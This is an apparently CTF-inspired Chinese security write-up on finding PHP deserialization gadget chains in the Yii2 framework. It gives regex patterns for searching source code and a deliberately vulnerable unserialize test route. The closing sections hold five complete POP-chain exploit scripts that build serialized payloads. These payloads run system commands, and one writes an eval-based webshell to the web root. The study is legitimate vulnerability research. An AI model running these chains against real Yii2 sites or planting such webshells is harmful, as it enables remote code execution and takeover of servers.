前言 红帽杯出了道YII的链,加上bypass disable_functions,这里简单总结一下YII的链子和记录一下PHPSTORM配合下全局搜链的技巧。链子的思路和Laravel7差不多,目前还没有phar + 写log的利用,YII除了反序列化之外还有蛮多洞的,慢慢分析。这篇文章主要还是想分享总结一下全局找链的方法,毕竟一个个怼着一大堆的__destruct
、__call
、call_user_func
看的话,有点太慢了
YII框架搭建 & 简介
yii1 : https://www.yiiframework.com/doc/guide/1.1/zh-cn/quickstart.what-is-yii
yii2 : https://www.yiichina.com/doc/guide/2.0
用composer拉一下yii2的项目
1 composer create-project --prefer-dist yiisoft/yii2-app-basic yii2
关于yii框架的细节这里就不多介绍了,我们简单介绍一下路由,YII的路由也比较有特点,在URL中用r
这个参数来控制Controller和Action,熟悉TP的话,可以知道TP是用s来控制的,但两者还是有点差别的。这里举个例子:
上面的路由会找到SiteController这个控制器,然后找到其中的actionAbout
路由来处理这个页面请求。
在controllers/SiteController.php
下,我们加一个存在反序列化漏洞入口的路由
1 2 3 4 5 6 7 8 9 10 public function actionTest ($message = 'Hello' ) { $data = base64_decode($message ); unserialize($data ); }
上面路由的访问方式和传参方式:
1 index.php?r=site/test&message=
如果要本地配合PHPSTORM调试的话,放在一个目录里,然后配置好phpstorm的调式参数,不使用yii提供的命令行来启动,我们手动访问web/index.php
即可
好用的全局正则 这些正则都是基于一些调用链的形式写出来的,待补充…
形式
正则
$this->aaa
\$this->([\w\d_]+)
($this->aaa, $this->bbb, …)
\(\$this->([\w\d_]+)[,\ ]*\$this->([\w\d_]+)
$this->xxx->yyy(…)
任意跳转不限参:\$this->([\w\d_]+)->([\w\d_]+)
$this->xxx->yyy($this->aaa)
任意跳转控单参:\$this->([\w\d_]+)->([\w\d_]+)\(\$this->([\w\d_]+)\)
$this->xxx->yyy($this->aaa, $this->bbb)
任意跳转控双参:\$this->([\w\d_]+)->([\w\d_]+)\(\$this->([\w\d_]+)[,\ ]*\$this->([\w\d_]+)\)
$this->xxx->yyy($this->aaa,$this->bbb,…)
任意跳转控多参(尽量固定参):\$this->([\w\d_]+)->([\w\d_]+)\((\$this->([\w\d_]+)[,\ ]*){2,}
$this->xxx->{$this->xxx}(...)
同上:\$this->([\w\d_]+)->\{(\$this->([\w\d_]+))}
call_user_func_*(...)
执行命令不限参:call_user_func(_array)?\(
call_user_func_*($this->aaa,$this->bbb,...)
执行命令控多参call_user_func(_array)?\([\n ]*(\$this->([\w\d_]+)[,\ ]*){1,}
$this->xxx($this->yyy,…)
单参数:\(?\$this->([\w\d_]+)\)?\(\$this->([\w\d_]+)\)
双参数:\(?\$this->([\w\d_]+)\)?\(\$this->([\w\d_]+)[,\ ]*\$this->([\w\d_]+)\)
$xxx($this->aaa,$this->bbb)
\$[\w\d_]+\(\$this->([\w\d_]+)[,\ ]*\$this->([\w\d_]+)
$xxx($aaa,$this->bbb)
\$[\w\d_]+\(\$[\w\d_]+[,\ ]*\$this->([\w\d_]+)
$xxx($this->bbb,$aaa)
\$[\w\d_]+\(\$this->([\w\d_]+)[,\ ]*\$[\w\d_]+
function __X(){…Y…} //X为函数名,Y为在函数中要找的前面列的形式
function [函数名][^\x00]*?[形式]
function __destruct[^\x00]*?\$this->([\w\d_]+)->([\w\d_]+)
function __call[^\x00]*?call_user_func(_array)?\([\n ]*(\$this->([\w\d_]+)[,\ ]*){2,}
function __call[^\x00]*?\$this->([\w\d_]+)->\{(\$this->([\w\d_]+))}
找链时先把正则范围限小一些,这样能快速筛选出数量不多的符合条件的。然后再慢慢边宽
function __X(){...Y...}
这个形式的正则并不能完全找到全都匹配的,因为phpstorm的正则无法使用递归模式,因此不太好限定就在X
函数内这一条件。如果能使用递归的话,可以递归function __X(){...{...{...Y...}...}...}
这样。
上面的思路不能完全涵盖所有链的查找思路,比如以下几种形式还需要自己一个个去找
1 2 3 4 5 6 1. $this->xxx() 在xxx函数里:$this->xxx->yyy() 2. $a = $this->xxx call_user_func($this->b, $a)
三段分析 Source 配合__call
先全局搜一下__destruct
并且里面含有$this->xxx->yyy(...)
这种形式的,找到三个,有一个不能用,有一个在新版本打了补丁,添加了__wakeup
方法来阻止反序列化,但是低版本可以绕,有一个没有限制,可以利用
有一个可以用,两个被修复了:
1 2 3 4 5 6 7 8 1. stopProcess函数中可以利用\Codeception\Extension\RunProcess::__destruct 2. __wakeup阻止反序列化\yii\db\BatchQueryResult::__destruct 3. __wakeup阻止反序列化\GuzzleHttp\Psr7\FnStream::__destruct
看网上大部分的分析文章是找了没打补丁前的\yii\db\BatchQueryResult
这个source为起点的链子,那我们这里就换一个RunProcess
这个类来分析一下,其实都是一样的,只不过source变了而已。
具体来看一下RunProcess
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public function __destruct ( ) { $this ->stopProcess(); } public function stopProcess ( ) { foreach (array_reverse($this ->processes) as $process ) { if (!$process ->isRunning()) { continue ; } $this ->output->debug('[RunProcess] Stopping ' . $process ->getCommandLine()); $process ->stop(); } $this ->processes = []; }
注意到$process->isRunning()
,前面的$this->processes
是可控的,因此这里就可以构造成$this->xxx->yyy()
的形式了。
配合__tostring
这个不太好限制正则条件来找,触发__tostring
的方式比较多,常见的有字符串拼接、输出函数(echo
、var_dump
等)、hash操作(md5
、sha1
)、eval等。
这里在直接在__destruct
中找到了下面这个,但是已经被修复了
1 2 3 4 5 6 7 8 9 10 11 \Swift_KeyCache_DiskKeyCache::__destruct \Swift_KeyCache_DiskKeyCache::clearAll public function clearKey ($nsKey , $itemKey ) { if ($this ->hasKey($nsKey , $itemKey )) { $this ->freeHandle($nsKey , $itemKey ); unlink($this ->path.'/' .$nsKey .'/' .$itemKey ); } }
Magic Method __call
接下来找一下__call
,直接全局搜索function __call
,发现数量并不多,因此我们就不进一步限制全局条件了,直接看就好了。
找到两个可以跳板的和一个可控任意返回值的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 1. \Faker\Generator ::__call $this ->format($method , $attributes );call_user_func_array($this ->getFormatter($formatter ), $arguments ); 2. \Faker\ValidGenerator::__call { $i = 0 ; do { $res = call_user_func_array([$this ->generator, $name ], $arguments ); ++$i ; if ($i > $this ->maxRetries) { throw new \OverflowException (sprintf('Maximum retries of %d reached without finding a valid value' , $this ->maxRetries)); } } while (!call_user_func($this ->validator, $res )); } 3. \Faker\DefaultGenerator::__callreturn $this ->default;
__tostring
用下面几个正则找一下
1 function __tostring[^\x00]*?call_user_func(_array)?\([\n ]*(\$this->([\w\d_]+)[,\ ]*){1,}
找到一个:
1 2 1. \GuzzleHttp\Psr7\FnStream::__toStringreturn call_user_func($this ->_fn___toString);
这里说明一下,我找__tostring
主要是找可以直接连到sink的,也就是其中包含和__call
一样的call_user_func(_array)?
或者直接RCE的,至于一些__tostring
中含有$this->xxx->yyy()
这种形式的,可以再连到__call
,也是一种思路,主要是用在:
__destruct
中不存在触发__call
而存在触发__tostring
的情况
扩大可控量,比如在__destruct
中存在$this->xxx->yyy(zzz)
,但zzz
参数不可控,但是如果能触发__tostring
,且找到一个__tostring
,其中有$this->xxx->yyy($this->zzz)
,这样再调用到__call
就有一个可控参数传入了,但对于我们这里的ValidGenerator::__call
,就不太需要了。
1 2 3 4 5 6 7 8 9 10 11 12 13 1. \Codeception\Util\XmlBuilder::__toStringreturn $this ->__dom__->saveXML();2. \phpDocumentor\Reflection\DocBlock\Tags\Covers::__toString$description = $this ->description->render();3. \phpDocumentor\Reflection\Types\Nullable::__toStringreturn '?' . $this ->realType->__toString();4. \Prophecy\Argument\Token\IdenticalValueToken::__toString$this ->string = sprintf('identical(%s)' , $this ->util->stringify($this ->value));...
Sink RCE 最后就是要找Sink了,根据我们前面找的__call
,第一个__call
的$arguments
参数不可控且为空,所以我们找一个任意函数无参并且包含sink点 ,对于第二种,在call_user_func($this->validator, $res)
处,稍后会分析$res
可控,因此这里可以寻找任意单参函数且包含sink 。这里直接先全局搜一下call_user_func_*($this->a,$this->b,...)
这种
1 call_user_func(_array)?\(\$this->([\w\d_]+)[,\ ]*\$this->([\w\d_]+)
找到这些:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 1. \PHPUnit\Framework\TestCase::stopOutputBuffering()if (ob_get_level() !== $this ->outputBufferingLevel) {...}$this ->output = ob_get_contents();if ($this ->outputCallback !== false ) { $this ->output = (string ) call_user_func($this ->outputCallback, $this ->output); } 2. \yii\rest\CreateAction::run() \yii\rest\IndexAction::run() if ($this ->checkAccess) { call_user_func($this ->checkAccess, $this ->id); } 3. \yii\rest\DeleteAction::run($id ) \yii\rest\UpdateAction::run($id ) \yii\rest\ViewAction::run($id ) $model = $this ->findModel($id );if ($this ->checkAccess) { call_user_func($this ->checkAccess, $this ->id, $model ); } public function findModel ($id ) { if ($this ->findModel !== null ) { return call_user_func($this ->findModel, $id , $this ); } ... }
Webshell 正则直接找双参数可控的file_put_contents
1 file_put_contents\(\$this->([\w\d_]+)[,\ ]*\$this->([\w\d_]+)
然后再找单参数可控且所在函数的参数用在了file_put_contents
中的(因为前面的ValidGenerator::__call
可控一个函数参数,这样就可能达到双参数可控),但是没找到好用的。最后找到一个双参数可控的
1 2 1. \yii\gii\CodeFile::save@file_put_contents($this ->path, $this ->content)
POP链 pop1* 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php namespace Codeception \Extension { class RunProcess { private $processes ; public function __construct ($a ) { $this ->processes = array ($a ); } } } namespace Faker { class Generator { protected $formatters ; public function __construct ($a ) { $this ->formatters = array ("isRunning" => $a ); } } } namespace yii \rest { class IndexAction { public $checkAccess ; public $id ; public function __construct ($a , $b ) { $this ->checkAccess = $a ; $this ->id = $b ; } } } namespace { $a = new yii \rest \IndexAction ("system ", "calc "); $b = new Faker\Generator (array ($a , "run" )); $c = new Codeception\Extension\RunProcess($b ); echo urlencode(base64_encode(serialize($c ))); }
pop2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php namespace Codeception \Extension { class RunProcess { private $processes ; public function __construct ($a ) { $this ->processes = array ($a ); } } } namespace Faker { class ValidGenerator { protected $generator ; protected $validator ; protected $maxRetries ; public function __construct ($a , $b ) { $this ->generator = $a ; $this ->validator = $b ; $this ->maxRetries = 2 ; } } class DefaultGenerator { protected $default ; public function __construct ($a ) { $this ->default = $a ; } } } namespace { $a = new Faker \DefaultGenerator ("calc "); $b = new Faker\ValidGenerator($a , "system" ); $c = new Codeception\Extension\RunProcess($b ); echo urlencode(base64_encode(serialize($c ))); }
pop3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 <?php namespace Codeception \Extension { class RunProcess { private $processes ; public function __construct ($a ) { $this ->processes = array ($a ); } } } namespace Faker { class ValidGenerator { protected $generator ; protected $validator ; protected $maxRetries ; public function __construct ($a , $b ) { $this ->generator = $a ; $this ->validator = $b ; $this ->maxRetries = 2 ; } } class DefaultGenerator { protected $default ; public function __construct ($a ) { $this ->default = $a ; } } } namespace yii \rest { class ViewAction { public $findModel ; public $checkAccess ; public $id ; public function __construct ($a , $b , $c ) { $this ->checkAccess = $a ; $this ->id = $b ; $this ->findModel = $c ; } } } namespace { $a = new Faker \DefaultGenerator ("xxx "); $d = new Faker\DefaultGenerator("system" ); $e = new yii\rest\ViewAction("array_filter" , array ("calc" ), array ($d ,"yyy" )); $b = new Faker\ValidGenerator($a , array ($e , "run" )); $c = new Codeception\Extension\RunProcess($b ); echo urlencode(base64_encode(serialize($c ))); }
pop4 配合file_put_contents
写webshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php namespace Codeception \Extension { class RunProcess { private $processes ; public function __construct ($a ) { $this ->processes = array ($a ); } } } namespace Faker { class ValidGenerator { protected $generator ; protected $validator ; protected $maxRetries ; public function __construct ($a , $b ) { $this ->generator = $a ; $this ->validator = $b ; $this ->maxRetries = 2 ; } } class DefaultGenerator { protected $default ; public function __construct ($a ) { $this ->default = $a ; } } } namespace yii \gii { class CodeFile { public $path = "../assets/shell.php"; public $content = '<?php echo "pwned";@eval($_REQUEST[diggid]);?>' ; } } namespace { $a = new Faker \DefaultGenerator ("xxx "); $e = new yii\gii\CodeFile; $b = new Faker\ValidGenerator($a , array ($e , "save" )); $c = new Codeception\Extension\RunProcess($b ); echo urlencode(base64_encode(serialize($c ))); }
pop5* 这里链是删除 掉Swift_KeyCache_DiskKeyCache::__wakeup
后的tostring的链,实际是打不了的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php namespace GuzzleHttp \Psr7 { class FnStream { public $_fn___toString ; public function __construct ($a ) { $this ->_fn___toString = $a ; } } } namespace yii \rest { class IndexAction { public $checkAccess ; public $id ; public function __construct ($a , $b ) { $this ->checkAccess = $a ; $this ->id = $b ; } } } namespace { class Swift_KeyCache_DiskKeyCache { private $keys ; private $path ; public function __construct ($a ) { $this ->keys = array (array ("xxx" )); $this ->path = $a ; } } $a = new yii\rest\IndexAction("system" , "calc" ); $b = new GuzzleHttp\Psr7\FnStream(array ($a , "run" )); $c = new Swift_KeyCache_DiskKeyCache($b ); echo urlencode(base64_encode(serialize($c ))); }